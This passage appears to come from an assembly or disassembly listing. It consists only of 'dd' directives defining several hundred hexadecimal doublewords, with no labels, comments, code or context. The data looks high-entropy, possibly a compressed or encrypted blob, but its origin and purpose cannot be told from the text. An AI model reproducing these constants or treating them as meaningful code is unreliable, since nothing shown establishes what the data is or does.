		dd 90FEB2D3h, 20D10F9Ch, 852088E3h, 0A3097F55h,	36EB0B00h
		dd 0E2B5B3BBh, 61340011h, 0A8C3F29Bh, 0A172144Fh, 9E8639h
		dd 34968CF0h, 9E9E0h, 9F5FFAA5h, 657B50CEh, 0E8884Ch, 1DB99EB4h
		dd 4C4448h, 4B1015B1h, 65840B23h, 0F9476000h, 0ACB6BFBCh
		dd 0D2331FF2h, 0A99F00A3h, 9BFFE3CDh, 2B4E2C00h, 0C33F142Eh
		dd 0F4700115h, 473D81DEh, 2DF68034h, 7A832009h,	22209087h
		dd 8521EDB7h, 4642808Ch, 4FEC2EFh, 0BFB49B00h, 88A5DB8Fh
		dd 366D001Dh, 0BB935135h, 9800A0F7h, 81E106D2h,	78B2EDB8h
		dd 0B5EB138Ah, 7DB707D1h, 0F5CDC03Ch, 7200C344h, 0A9C56885h
		dd 0EA14ADh, 3BB4A207h,	93836F42h, 560B8D00h, 12062E2Ch
		dd 4BF10085h, 7BA42DE9h, 0AE0020B6h, 6B76BEB0h,	32EBBDh
		dd 0C975936Dh, 0D080AC5Dh, 412AC600h, 0F08A397Eh, 5F5E00F2h
		dd 8E170D1Dh, 9776DAB3h, 2022E200h, 0DF3E16B5h,	6A7700EAh
		dd 7DC45F85h, 7E02A2AEh, 0E99315D3h, 0BC28C0B9h, 94AF03DFh
		dd 0BB11996Ch, 227C9EEEh, 0F89C501h, 6DDFEBD6h,	0C049D4h
		dd 9E5083D5h, 82B956Ch,	0E2EC4B00h, 6F851CAFh, 0CE9200F3h
		dd 1B1AAE01h, 8CFADE5Bh, 0B274111Eh, 0A1E9A7C5h, 0E7B7B400h
		dd 30203BD6h, 97F65319h, 76005568h, 0AD4B5DC2h,	7EE1D610h
		dd 0F8C004Eh, 0E37732E8h, 5D03566Ah, 803F5712h,	0FD7FF0CBh
		dd 0A0260079h, 4B655818h, 302654A2h, 0B8003861h, 6A865F36h
		dd 0C8F0008Bh, 6D5C11BCh, 1501A88Ch, 0BE3CB07h,	0B770FED7h
		dd 75EA07ACh, 0A95ABECAh, 0A86A2002h, 2F1A7220h, 17BF639h
		dd 74848DECh, 3189F950h, 691CCCA8h, 6EE3AC02h, 0E011E0E6h
		dd 0C2B2A0h, 0CC721586h, 252DFB0Ch, 0A8E2DA00h,	73F1719Ch
		dd 3D79048h
		dd 8D5D99AFh, 21EFC0A5h, 0D8A9E449h, 9E007B7Ch,	7D722A04h
		dd 0FFB576h, 1D180AD7h,	260C67F1h, 60529300h, 2787AFEDh
		dd 0B32D00B2h, 36593707h, 18003345h, 575AD5A3h,	268464D3h
		dd 0AE39862h, 8068C8h, 93E94B8h, 0A1DA5F0h, 714064FCh
		dd 4F31325Ch, 0E0FCDCh,	0CEBB707Eh, 0F8E2B4E9h,	660061FCh
		dd 0AACA081h, 0F9A44Fh,	0AD0FEF07h, 53B63644h, 0F36DE200h
		dd 0BA178E80h, 833300E4h, 31BC06E0h, 1E1F7A02h,	986C8FC6h
		dd 2822BB80h, 700E25h, 3F129389h, 0A2A55B33h, 0D7640900h
		dd 669F153Bh, 44EA00CAh, 9343E2ABh, 1400705Ch, 53CE19F8h
		dd 0FFCD01Fh, 0ED4AAF0Dh, 76A2EE60h, 800027F2h,	5419D2A5h
		dd 623BB2h, 0F42BC05Ah,	0A0539AF0h, 2FF5C301h, 3BCF418Fh
		dd 89918443h, 69E84022h, 171E4FFh, 801F03Dh, 0D0767EE5h
		dd 0CD004E2Dh, 273545FDh, 1C4C230Ch, 0CE0266CBh, 9F25AF7Eh
		dd 296CD06Ah, 0C701851Fh, 76BC94E7h, 0CBFD2FE0h, 0EAFCC020h
		dd 0ADDF0E70h, 0D701D0B2h, 0F263C5EDh, 103E60C0h, 87A09F3Fh
		dd 957FFDD6h, 0C05DBCA2h, 0C86A25h, 70232D0Bh, 32BBBFE7h
		dd 0C287DD09h, 25C00EB3h, 9C936F9Eh, 0E7098A8h,	816913DBh
		dd 6C9A1417h, 9552D400h, 3CFBECE6h, 61C9EB00h, 5919BFFCh
		dd 2A40757h, 0B0D625EDh, 83B8B3D1h, 6F69D400h, 0DB9C3ABCh
		dd 0C30B00A6h, 80A192A5h, 222C50D1h, 841210ACh,	90158300h
		dd 0FBF4E35h, 1F304C88h, 555303A0h, 3B0046E1h, 98930A79h
		dd 380BDBEh, 0C15C622h,	0D2C86206h, 61004FBFh, 8BCA842Ah
		dd 0F040C0h, 3C50ECACh,	0A1439349h, 0B1AAB000h,	0B25C87DCh
		dd 52F60061h, 398E547Dh, 60FB7C1Fh, 0F8000DE4h,	8DA692D8h
		dd 0E1B463h, 2127E38h, 0AC1EED7Dh, 0E329E600h, 0CBEF54F9h
		dd 999F002Ah, 60A16785h, 0C41FFEB7h, 3F800E1Eh,	0ECF3311Dh
		dd 0AAD90362h, 0F5AC1FEAh, 7CE0FFE0h, 9BC5B900h, 9DD85868h
		dd 9C3D02DBh, 0C9274349h, 7804F881h, 0CAB6DC28h, 0A088E817h
		dd 8AABC000h, 0C6C27Eh,	0B5D7C41Eh, 9D08206Eh, 45C58200h
		dd 105E0EFFh, 0DAA50033h, 93B7EF77h, 99FAD50Bh,	63F8B550h
		dd 4B5806F4h, 13028374h, 7EFCA8C5h, 60595CD6h, 166BCF0Bh
		dd 5E14A400h, 0A60095D0h, 53859D30h, 75E3DAD8h,	9B630009h
		dd 7210BAC4h, 650F3AE2h, 8F6EB743h, 23B180E3h, 0B4B1BBDh
		dd 0E7DB9F27h, 88FE1000h, 0D4035CB7h, 61D533CFh, 521BD0DAh
		dd 34372AAh, 60DCA8FFh,	0A2F06621h, 23028846h, 0E7C49694h
		dd 0DC48481Bh, 0E5E008Dh, 7304CA7Fh, 960368B3h,	5FC12688h
		dd 0EE8FD9E5h, 0F0181620h, 9D9B0B81h, 54A0D742h, 6F1AD9C2h
		dd 0A6556E00h, 0A36328A8h, 84890BFh, 0CA8BEDBCh, 0AAF63880h
		dd 0D78212h, 0BDF7890Dh, 0E02C62E3h, 0C00E040Bh, 6C108748h
		dd 8B7DF40h, 46DD0025h,	0A6A1F1BEh, 1C1D5E42h, 1305E932h
		dd 481D4D5h, 0B3101D03h, 230C336Eh, 0F0FB18F9h,	3D37010Ch
		dd 9492E671h, 0E06EC979h, 0A5009099h, 0C40B7FD1h, 933C91h
		dd 0F1A7567Ch, 480363CCh, 0DEB6F000h, 60645C9Eh, 0AC11002Ah
		dd 37AE4339h, 9200BE57h, 8C3623BDh, 0F873338h, 1C2234F9h
		dd 0EB41620h, 7909A4B6h, 8F645B54h, 9EBC002Eh, 73D4243Ah
		dd 1D5A0055h, 0CC2561E1h, 0B008ED0h, 0EFA6FA72h, 169BC1FFh
		dd 20D86C2Eh, 0E18FE474h, 0CFAB2000h, 9C3461A4h, 286900D0h
		dd 4CEB2B7Ah, 97031B95h, 30C73D9h, 8E5AB0F9h, 3FC60071h
		dd 6A5DFFA8h, 0E73EC54Dh, 98CA85EDh, 0B4920C13h, 75E08049h
		dd 3108BD0Ah, 0CA78D23Eh, 7DB06227h, 0C80E25F0h, 60C09F5Fh
		dd 0EB0928B0h, 1D680022h, 0F64959FEh, 8300E89Ch, 410BDE65h
		dd 0A0C8BD4Ah, 1DF1080h, 0B751150Ch, 0C4D2BBACh, 0FB00916Fh
		dd 0FF3A18A8h, 0A91AE1h, 45BAC54Fh, 5B4213F2h, 5000C1E6h
		dd 0F94AEE20h, 3975952h, 31444EF3h, 9A00063Fh, 8B64BD74h
		dd 0C5D2E17Eh, 80964760h, 0F1E0BE25h, 92AB0600h, 0BC3B74A5h
		dd 0EC425893h, 3AD3B724h, 0ECA65A80h, 51049F2Bh, 8318FE1Eh
		dd 0A8483480h, 3A4EBDh,	31EC78Eh, 0B9FA9AB0h, 320018B0h
		dd 13D1AF39h, 1D98A5DCh, 0C01F1EF9h, 551BB389h,	0D6FCF888h
		dd 9007A800h, 61E39D9Fh, 0CB6316Fh, 0D90B2A10h,	6ADCE85Dh
		dd 0C98BF7Ah, 0C1B3B11Bh, 0EE880FF2h, 138225AFh, 0F042DC5Ch
		dd 9AABF8B0h, 0F500FCB0h, 83E60E3Ch, 0BA254Ch, 81B39CBFh
		dd 13F4B1E4h, 6DDCA407h, 1F400403h, 1AD8EDDh, 1B180FF5h
		dd 6040C382h, 5B3A0696h, 31598051h, 0B3F3B955h,	3490BDh
		dd 9C892ACCh, 80F22462h, 86BEEF12h, 1C0E4C07h, 0B0C53080h
		dd 0FEE1003Fh, 3B8979DFh, 4F044478h, 0DF1ECB2h,	621E6CC5h
		dd 0DAC01B1Fh, 0A17664C9h, 40E3DE8h, 3BCEB380h,	58F0CDABh
		dd 0EC131518h, 198A0h, 0DFEEC7AFh, 37C3DB39h, 0A8A36426h
		dd 7320B607h, 0D83E6E83h, 1C9D985h, 0AE192FFBh,	403678EEh
		dd 445F7EFAh, 13CC9019h, 0F0E74A39h, 789DBEF6h,	7B1C0750h
		dd 8E4C297Eh, 821E5D0Eh, 0EB11371Fh, 0A7C0E4C0h, 97BA5A00h
		dd 8D020387h, 0C21F0128h, 427967AAh, 0FC3AC18Bh, 0C03438Ah
		dd 25A180E1h, 2ED6983Ch, 7D4C0334h, 94D3BF2Fh, 8CC4703Fh
		dd 11D227F3h, 0E48B00E6h, 9D071EA6h, 0B405A286h, 0BA405C3Ch
		dd 11045780h, 0AED4008Ah, 0A242CCCDh, 35C4EC2h,	0B0487E93h
		dd 39A50020h, 8386727Dh, 0D10A1999h, 0F8821993h, 0E0F58ECh
		dd 601E2A0Fh, 4E30101Ah, 94F20671h, 882D3277h, 0FA297400h
		dd 830BCA73h, 0DD8000F5h, 68B6AD79h, 0C200760Dh, 0F49354E8h
		dd 0E2A0ACh, 0BB4D2B15h, 0EF23CB2Fh, 0B5E7ED01h, 0E5F3EA7Ah
		dd 16DD1C20h, 83B86A8Ah, 4C84C10h, 17905D79h, 37B61800h
		dd 0F5F21348h, 45BAC0FBh, 0C45D3A56h, 19FED21Dh, 63628C4h
		dd 1A8650D0h, 0BE8E002Fh, 0E4A608Ah, 7507E8C6h,	2C612658h
		dd 292E0E1h, 7966DCh, 0ACBE0415h, 0CD1A0C4Ah, 0B9868201h
		dd 0D44BB427h, 0FA324830h, 0C35201DBh, 0F91E6A18h, 0D86881B3h
		dd 7874C23Eh, 39E4A5FCh, 0A985574Bh, 0B49082B6h, 91984704h
		dd 0BE10E360h, 5811E0FEh, 5501D07Eh, 2A5DC8A4h,	75DDCCDBh
		dd 0D9D12B0Fh, 6584409Dh, 0E27073Fh, 0B163F556h, 0DD5C0140h
		dd 0FC39ED8Fh, 0E474801Ch, 3A7F6BA2h, 84930B0Ch, 3860A5C2h
		dd 0E09C4BA9h, 6554CE40h, 57EC00C0h, 0B745A148h, 7100430Ah
		dd 0B6359F3Ah, 28CCAACh, 517B5F63h, 4400149h, 830F7E59h
		dd 436AC421h, 22B699C1h, 8402EFC8h, 3CE497C5h, 0C06407h
		dd 95527116h, 0F430984Ch, 7F06F500h, 84697953h,	39BE00DEh
		dd 0C6FED696h, 4C5C4B55h, 4E924A6h, 0F3049C00h,	1E783F8Eh
		dd 0FA7E32h, 0FD52B4BAh, 6A00243Bh, 904F5F92h, 0AD9957h
		dd 0F163C177h, 5D86216h, 0D926F000h, 0DDB00C67h, 0E4E8016Bh
		dd 751AA89h, 0C880E6C6h, 48775EBh, 0AC00957Ah, 8B67F0A2h
		dd 2BE5B2Eh, 0A8B6C921h, 0F406677h, 2B00118Dh, 8CC6BB20h
		dd 0EAD304h, 0A3F7ACE4h, 3593B37Ch, 801A832Dh, 9149E35Ch
		dd 0F1FB12DDh, 3DF43039h, 2000BF08h, 185B330Eh,	689C84h
		dd 3CF7B2D4h, 21A3CCEBh, 738B9B3Ch, 384A6900h, 0F9D1E0FFh
		dd 0BB5C000Ah, 0BF8AF664h, 0D2006741h, 4EA382BDh, 0F20407B2h
		dd 58FD4C89h, 10BE7705h, 0A501806Ch, 562E1145h,	1006DE5h
		dd 0B732DF21h, 466807EDh, 0D624DAB4h, 6D0038FCh, 1EDECB02h
		dd 0F48C4B1Ah, 4C960157h
		dd 19F46894h, 0BDA2600Fh, 0CA58900h, 0B0FA53ABh, 542B0063h
		dd 0E06285D8h, 4F00BFE7h, 0F0DACF58h, 352844Dh,	0DD982F81h
		dd 2A93A11Fh, 0A5A43BB8h, 0CE00A673h, 80068550h, 1DF38B0h
		dd 924D4915h, 0CCB9166Ah, 651E5993h, 0A140E453h, 4340834Bh
		dd 0C66600F6h, 281098A0h, 0C01738D1h, 0D800CCB8h, 0DB347530h
		dd 7ADA00B3h, 529325F4h, 80004EFAh, 0E9C5BE70h,	5E45E4h
		dd 9BB21B1Ah, 980E2C9Ch, 0A6B44C03h, 0C88B4FA8h, 0C0F9ADACh
		dd 6D7CB511h, 500F74B7h, 400FAEE6h, 1BB10C64h, 26000FDh
		dd 0A3529256h, 32127619h, 0C0410B5Ch, 5ACA573Fh, 592AB040h
		dd 50AA0011h, 0C7F9A45Bh, 7800F3BBh, 41938739h,	58C2FCD2h
		dd 0D900649Dh, 1630581Ch, 3400B84Eh, 0A04B0D47h, 0C7093Dh
		dd 2E69BBFh, 7F18A5D2h,	1F8B3503h, 0C866BD5Ch, 729A61h
		dd 0FCD3005h, 7C33CFF2h, 35006EF0h, 61CB044Ch, 138C4180h
		dd 0C0F6ABF4h, 980F2AF4h, 4CA9C600h, 0A8060D5Dh, 10633CC0h
		dd 3C304D80h, 7275FF9Ch, 0CEC2D10Bh, 9388344h, 0E870DBA8h
		dd 18C3E042h, 50A34AEFh, 0C5247A7Eh, 3900E8D0h,	2A6BD3D2h
		dd 0BA200081h, 0A1C2EEABh, 0A92DE168h, 0EAF8207Eh, 0F00E21h
		dd 0F535084h, 0C5A7B9F4h, 8967BB7Bh, 208FD170h,	0A8D25D62h
		dd 0D885004Dh, 0A1F08A8Fh, 5218E2DCh, 75329170h, 12580047h
		dd 0DE6330B2h, 2102B4E9h, 15A8C6B7h, 7AB080DCh,	13D8B902h
		dd 49B1C455h, 604846D4h, 3948CF19h, 30C20184h, 0D9DD87F2h
		dd 4027020h, 0F1E82D3Ah, 48B8C117h, 0B19108Ch, 1382769Dh
		dd 80914443h, 0A5D0434h, 0E100CFE2h, 1FA4DCBFh,	145237EAh
		dd 9884FE09h, 0BAD2A600h, 0CA5CF375h, 87425D3Ah, 0E61ABC7Fh
		dd 1BA04EB0h, 0B7330315h, 900BA9FEh, 655504D0h,	91E413Eh
		dd 80AF1F66h, 0B5298065h, 8E6E0020h, 95D8F39Fh,	8900BA2Bh
		dd 6055B714h, 90AE6D4Eh, 13F20090h, 40E6C5DDh, 260B19DBh
		dd 2C02AA7h, 0E01DCC6Ch, 0D3AF96h, 78A322D4h, 4B91B8A6h
		dd 0C51C3000h, 6B6DFE29h, 251EE28h, 2731CDEBh, 74C32201h
		dd 7E5F84F8h, 19969A00h, 0A52D7339h, 4C4F00A9h,	9E97DC3Dh
		dd 0D000D422h, 37C9EE7Fh, 9E59Ch, 1EA23FE4h, 67B6406Ah
		dd 78E28100h, 66AE4295h, 34270285h, 1E79A55Bh, 80ED44E0h
		dd 0E8E1DA00h, 7C85D467h, 4C68002Ch, 144E2DB1h,	0CA0242F2h
		dd 0A905C65Fh, 37244035h, 0DFF109D6h, 6CE0147Ch, 2200F9CFh
		dd 4677C348h, 630497h, 8C4C8044h, 8B8FD971h, 8122993Ah
		dd 36B52E86h, 803155AAh, 1A266E0h, 70A6BA1Dh, 89225FE7h
		dd 80C0F718h, 993BF616h, 15C61224h, 9BAC0B54h, 48C2B000h
		dd 935D4A01h, 14120F58h, 0DB44836Fh, 0C8F48CCBh, 4F2F1F38h
		dd 0B0E6C0E8h, 0B2E7A81Ch, 25C85660h, 90E2DE4h,	0B36EACB9h
		dd 0C0446B04h, 0EACAF1FCh, 0D90C35EEh, 3064606Ah, 9933C9Ah
		dd 0C901F00Ch, 8E004A28h, 287079AEh, 2E2E54B0h,	6410EE60h
		dd 74AE806Bh, 7A012568h, 0B8D4A607h, 2C70FDFBh,	92AB00A7h
		dd 8D9C5865h, 0E6F040D1h, 8BFA2000h, 6BE26F4Fh,	41E800A7h
		dd 8DF7A064h, 0CF004D92h, 27E311FFh, 2DC438h, 76238547h
		dd 8388349Ch, 0F2795F09h, 0FC804B1h, 18D884C0h,	0A7800086h
		dd 61CF4263h, 0C2070ACCh, 0E0BF2AFDh, 0C8D3E1C0h, 177073Ch
		dd 80B9825Dh, 0A0F19210h, 8303807h, 8F31B77Ch, 0D460B426h
		dd 0C6930E1Fh, 3FC0FBDCh, 0B2F4FA0h, 483DE400h,	0A9A14B19h
		dd 518D1252h, 0D5340F37h, 7AE9D100h, 0E84E0928h, 5BD33E0h
		dd 0CFABC51Ah, 5CF255h,	0B4AE19FFh, 0B3734Fh, 0EF9594F4h
		dd 0E6B70637h, 692A7A00h, 0F7F3EE90h, 2FA80057h, 92DFBF2Dh
		dd 3500238Ch, 0DB7DD8BDh, 0EF69A1h, 13E5C04Fh, 0A7306073h
		dd 3C9E8900h, 1E545C1Dh, 1320F422h, 90F46CEDh, 64AFB1D8h
		dd 44B6E903h, 0B83458C3h, 1DF153h, 0F7E1A9D3h, 0EE718E59h
		dd 408BF00h, 8C74105Eh,	17670039h, 0FCE1E8E4h, 5100663Ah
		dd 354AE9BFh, 6049D12h,	33DC80Eh, 79025809h, 0F9787F74h
		dd 68A06899h, 8D5F0095h, 5259DEAFh, 0D503FC25h,	281EE2E4h
		dd 9008A8FFh, 5D7F0081h, 0DE99BD6Eh, 0EA00FDCAh, 706F067Ah
		dd 1FABD90Bh, 0C033DBC0h, 4BF969D4h, 0C43AC724h, 94CC83BFh
		dd 0E90B82B8h, 798386E3h, 62C5B00Dh, 0B1CDF4F0h, 0C76DA601h
		dd 0C49D1056h, 460CD428h, 1131875Fh, 9261C07h, 0DD403C18h
		dd 0F84A27BEh, 6018C417h, 9214A0FCh, 4D150B00h,	2F5FA3EDh
		dd 72F90090h, 8CE5FD37h, 5000AB8Eh, 5576D7A0h, 500FB1BDh
		dd 7443894h, 1D0B875Ah,	26E0CEB2h, 453B7AFh, 0D04E4B00h
		dd 1E9AE746h, 0C04078A7h, 0E60B7F41h, 40A0C963h, 6D03865Dh
		dd 9240C12h, 9CB00236h,	7D46BF18h, 9F0F6882h, 99D03C80h
		dd 670E5CA7h, 80FAE77Fh, 0BB4438A6h, 0C7890754h, 909AC6CDh
		dd 0FFA2756Fh, 0A706201h, 0D3B652ECh, 0D669C8h,	0F4509372h
		dd 0FC172180h, 1060848h, 247FE857h, 0C820E43Fh,	0A88D00DEh
		dd 755FF552h, 0C60023FFh, 0E4C8A7C4h, 830338h, 4B5C3E7Eh
		dd 0EBFA4787h, 0A7009590h, 0B6F91EFEh, 4DA5C0h,	8CC622BEh
		dd 4B6D45FBh, 0C95099A1h, 2E24191h, 4E93EC5Ch, 0B2E02600h
		dd 8D23EAE6h, 354C09E5h, 7C05666Ah, 3B844098h, 536C72C8h
		dd 0AEAC9600h, 57466EC7h, 0FE6B0D01h, 0C0299D68h, 82012522h
		dd 5B6D37D7h, 7D97FB6h,	18C9FD60h, 286C66A0h, 2DF87199h
		dd 0DE8EC00h, 0C4B00FBEh, 8ECE00ADh, 555FBAA1h,	75019BD9h
		dd 8FBD1336h, 68C47F33h, 60B51ED3h, 10BBC0CEh, 0BAA3C467h
		dd 1CEA0F00h, 0CA208FD2h, 0B1B015Eh, 0EB0E78B6h, 8011E5C4h
		dd 0ECCB92A1h, 71CFFA60h, 5F9A0709h, 25A9B612h,	6300C0A3h
		dd 0D1012953h, 464EC6D0h, 65D01CBAh, 2E6B3E1Eh,	0B3801D01h
		dd 0DCC89B45h, 0C9004D4Bh, 0DC0163AAh, 3C04153h, 48680647h
		dd 1DA321DFh, 0D5842100h, 26451E53h, 500961B9h,	9F44E4F8h
		dd 0EA993A21h, 0E9E85019h, 45B00C30h, 0BA20C6ADh, 194FF33Eh
		dd 61182749h, 0F4C03980h, 6B1975A1h, 0B2872600h, 0F7E35970h
		dd 0C0E175FBh, 0CDF8D650h, 4506AFA5h, 726A1B66h, 0A2B40031h
		dd 0A037B08Ch, 0F518A7C8h, 0BA609715h, 595C0003h, 72A2D34h
		dd 4DECB4FFh, 9030A376h, 5B049232h, 5ED307ABh, 40E1558Ch
		dd 0BC17F57h, 94D02001h, 9EABC303h, 0B6D3C2C9h,	235C0121h
		dd 77E7E120h, 0C03F70AEh, 4732580Fh, 96ABC0C9h,	9049EEh
		dd 7DF965BCh, 7F6086ECh, 0D4B760C0h, 1DD60BDEh,	8E6B03D1h
		dd 0A68C8AE9h, 0FA00FC21h, 9CFECBA0h, 0B4FB6B7h, 0AF31A335h
		dd 0E6020100h, 0CF00E17Dh, 73A78341h, 74A36CBAh, 0A120D9D1h
		dd 0FCA0DBE1h, 11C067B5h, 656F04BEh, 49EB0602h,	8A2DA1Dh
		dd 2063E030h, 756E8C93h, 1CCE00D7h, 0BED209F8h,	0E2815C4h
		dd 0EE466486h, 91A1B602h, 0E1C21D6h, 14A0049Eh,	0D9C067E0h
		dd 11102CDFh, 6B008DCDh, 7490A3CAh, 1E0AC1BAh, 0C0A94EF5h
		dd 28039F80h, 0B8F42CE9h, 642E1DD0h, 21981BCBh,	3E27F0E8h
		dd 0AE934300h, 0C7A9D2BAh, 4CE3444Eh, 31B0D902h, 0E0CD3247h
		dd 5879A412h, 5E02451Fh, 0BCAC3B64h, 0B098D487h, 0F02A058h
		dd 9EF63400h, 9B730933h, 1D663B38h, 7254EB85h, 0B0043E2Dh
		dd 0CB493ED2h, 0A9078E10h, 0C58CC03Ah, 507406C4h, 763C437Fh
		dd 8825807Fh, 798DA6CFh, 0EA957055h, 71E310Dh, 3E9728h
		dd 76998D3h, 79D82F29h
		dd 1FFAB128h, 7BF1DC2Eh, 0C2A38h, 64584D7Dh, 0C670194h
		dd 6915F88Fh, 0B005B08h, 1842960Ah, 1D12AF4h, 8AD41268h
		dd 0D8FC1EE9h, 790071D0h, 41444384h, 287578h, 1D5CD8E5h
		dd 6C8A190Dh, 5E2E8E01h, 0F71FD9C7h, 14F0D0h, 0B8BC18BDh
		dd 0F983F68Fh, 8B79AB00h, 93B50DB1h, 61AD0001h,	7C36A165h
		dd 4103A20Fh, 0A8AA8EE7h, 0C95BA8C2h, 0D7694C1Dh, 0F195E000h
		dd 0E4484C70h, 0F79CBA00h, 7A381A60h, 81CA0075h, 85BC5C44h
		dd 950083B8h, 0A6C0D109h, 40AAEAh, 0DAE70AACh, 3331A714h
		dd 8823E800h, 0F0A4FC2Ah, 58380046h, 0D02E34CFh, 0C10761A9h
		dd 26E53CE8h, 1DF0E7C7h, 1CCC46h, 0D9CBB420h, 0D38D70D4h
		dd 0CD678E01h, 4EEB9759h, 9EF09840h, 2DDC3BF5h,	0E2DD2701h
		dd 0CD81DF0Fh, 8E7D7008h, 0CD7A6A00h, 6CFE7793h, 0C0F03F38h
		dd 17CFA400h, 786825E1h, 91764512h, 0E899F00h, 3B2377h
		dd 0B584F387h, 7945DF36h, 0BF094AFCh, 3738D88h,	0E351E82Ch
		dd 3D58833h, 61A300B3h,	0F386380Fh, 2F019C6Bh, 75344210h
		dd 5880CC55h, 8EE9DF98h, 0F800D70Ah, 3746823Bh,	0E8EE66A4h
		dd 0C77213h, 0F626C995h, 0C1A6A70Bh, 9BBF7300h,	0A468E8DBh
		dd 0DDE483h, 571F17C9h,	942D10Bh, 16070877h, 8F5BAF3Fh
		dd 0D4FB900h, 24CE485Fh, 51DBD409h, 0A9025E00h,	0C1CFAA55h
		dd 0E3EAE72Fh, 4E67FD80h, 85BB0054h, 683BC0ACh,	31756BE6h
		dd 0CBC9DB00h, 5436441Dh, 0FFF10004h, 0ABBAC5B8h, 8A00B46Bh
		dd 0A696E72Dh, 3F0CA0C0h, 8C8029DBh, 0BC6C3554h, 4F1EEF82h
		dd 968063DFh, 5A33F1CEh, 66DA0046h, 283CEE64h, 0D10E95CFh
		dd 2898F0Ah, 80CD176Fh,	31073998h, 147300E0h, 15DAF161h
		dd 4F5C1E30h, 0E5D600DFh, 95B3352Ch, 0DDCB2460h, 58B1016Dh
		dd 0C8C0871Eh, 30FE8493h, 0B5A7B38h, 8068BBF4h,	8D375FF8h
		dd 4904C60h, 2D6D5401h,	3046AEF9h, 0D0001984h, 45659D25h
		dd 372A889h, 0E3835D8Eh, 98034A69h, 0C8AA3835h,	85A1CA7Ah
		dd 428051B8h, 0B0FEE4h,	322D678Bh, 0B8339681h, 2F0FA079h
		dd 0A128E3Ch, 0CF009475h, 99EBBC03h, 1B881C15h,	0C487014h
		dd 0BF16DE24h, 0D80E391Eh, 6DD84077h, 3D16F01Ch, 0D9002E18h
		dd 0A382C35Eh, 0F601139Bh, 99922666h, 19C0D1DFh, 0D96A60EFh
		dd 4D9C2D3Eh, 7100CFECh, 60C4BC17h, 3B395051h, 3B9E258Fh
		dd 7F3AC036h, 8E19313Ch, 4373140Ch, 1ADE8A9h, 5E1365Bh
		dd 0F841A716h, 0C0298878h, 0CF86ECA4h, 0E7718F9Ah, 0C7A3B400h
		dd 0BBBAB30Fh, 8BD2090h, 0A37462DAh, 1F46B0F8h,	0A70101D0h
		dd 690736BAh, 620CF0D6h, 18BDCB24h, 0E8566163h,	0F07EA04h
		dd 435ED0DBh, 291C5320h, 2B0095A0h, 10A70F51h, 0D38CABh
		dd 79245E64h, 8A9A77A5h, 887F0E00h, 0ED89C0CEh,	55B7001Eh
		dd 353D8DD4h, 11314E40h, 1C7A40A5h, 3BB0F4h, 2A63AE80h
		dd 0E6C1F6BCh, 1D9FA614h, 0CF00094h, 0D0BE40A3h, 0BC0B072Ah
		dd 704DA168h, 0D15FB918h, 2481F326h, 230F3300h,	13FF4A92h
		dd 291076Eh, 0C6B812D8h, 97742060h, 18406489h, 144477A1h
		dd 0BCCE1C05h, 0F68AC809h, 0D4209020h, 5E12C983h, 8C4010AEh
		dd 0FB50F80Fh, 6227460h, 9CF72E12h, 5978486Ah, 0DD89850h
		dd 2B5C4800h, 0C8E160FEh, 0BD50C073h, 119FF5A9h, 56AF1902h
		dd 0BBC1104Ah, 1A33F2E8h, 0BD0A20A1h, 6E588073h, 34D8E253h
		dd 57DF0040h, 4960DEBAh, 9A60558Ah, 313352F8h, 0D6AE1CCDh
		dd 0D72C018h, 0D5FD7C9Dh, 88671330h, 0F398DB2Ah, 0FC563E60h
		dd 25B090h, 0C15371D6h,	0A2CEBD09h, 58169B90h, 0E4409434h
		dd 4A78CF19h, 0AA5B07A7h, 31F92C5Dh, 80C410EAh,	865AA2E1h
		dd 3911CA9Dh, 89000477h, 9730E940h, 6C014D29h, 0D2069F14h
		dd 6160A3D4h, 0C9823B80h, 0CF8D2F80h, 0ED0E9218h, 0ECC69800h
		dd 8565D0DDh, 0FF490154h, 8172C53h, 7F824024h, 0FD06AE20h
		dd 0EA54C9FEh, 301D03A0h, 0C674D258h, 0CAF39000h, 0DBEA5A2h
		dd 167100EAh, 0AA88D9A6h, 0BB0A4784h, 0D8791E4Ah, 0B6FC5980h
		dd 269DC085h, 3080775h,	0A6D8AF74h, 0D3FCE0FBh,	9AC0050Ch
		dd 0AC7477ADh, 3FD21300h, 0F1346CF8h, 58700E0h,	0E988E102h
		dd 43244167h, 58B83899h, 0C0AA7AE7h, 97BB9485h,	0ADEF4078h
		dd 0D754E95Ch, 580B6878h, 40CBC45h, 0FCC0F02Ch,	4CB65C14h
		dd 36004C08h, 2989ADDDh, 0A01F9F47h, 5A802B97h,	6B8B7FC2h
		dd 0F65D18CCh, 23477146h, 1EFA8A16h, 50BA5C00h,	0EE966CC2h
		dd 281DF871h, 0F00233h,	0D40C1C15h, 0E2B0D165h,	0E6DC40EDh
		dd 411DEE26h, 0B9DF5F37h, 34178C00h, 1377310Eh,	786295h
		dd 18CB3035h, 0D8C05738h, 0BC94CAEBh, 0A8DE02A3h, 0C6C38783h
		dd 0E5B7AC80h, 4DB88FA6h, 8FFE493Ch, 0A05A267Bh, 2D48CABFh
		dd 0B70B0040h, 6125CC4Ch, 911669EEh, 8007F2Ah, 0A35537E1h
		dd 343B0043h, 0FB339728h, 0B5EAF9DEh, 761CBB07h, 0F3101E64h
		dd 0B113D4h, 0E112AD47h, 72F4AF92h, 81A4F700h, 954CC1DEh
		dd 34BF3D11h, 73FADA00h, 4978569Ah, 24A078B8h, 0E840A854h
		dd 14DF0057h, 0D60496F2h, 41241CF3h, 0EC123CD1h, 11345000h
		dd 0E01B7EA7h, 29870A7Fh, 8EC01721h, 8FC0F73Dh,	251476AFh
		dd 0C9FC42B0h, 0D1CE0D00h, 5C06212Bh, 0CAD034Dh, 0BFA8E8DFh
		dd 6088B0C8h, 0B864C82Ch, 0D5BE5B01h, 2CC05024h, 5CA500DEh
		dd 0EADA33A6h, 0B3E8BA8Ah, 0FC096C00h, 7D2D02F1h, 11936056h
		dd 0D8DA5AAAh, 64156F07h, 2D444677h, 94039CC0h,	277600A6h
		dd 9C929A20h, 0F07C3C7h, 0E2CD14F7h, 0EF804BF4h, 0E5471A3h
		dd 0FD9029B4h, 917B0D65h, 3227703Ch, 7AC2204h, 0C00F522Ah
		dd 0A73300CAh, 290E2446h, 2DE9F83h, 805BB1FCh, 0E2328220h
		dd 709A6Eh, 2858227Ch, 9E7DA047h, 0AFFE7700h, 12E9B8A2h
		dd 0B8490F4h, 0EDCA80CFh, 0BA68ECA0h, 0FD2624B0h, 7D003E02h
		dd 0D0986365h, 3A49938h, 73EC47D3h, 0B0299690h,	13E0C3Dh
		dd 42A00F02h, 0D450A64Fh, 6079EAA7h, 0E64E6908h, 9859BDADh
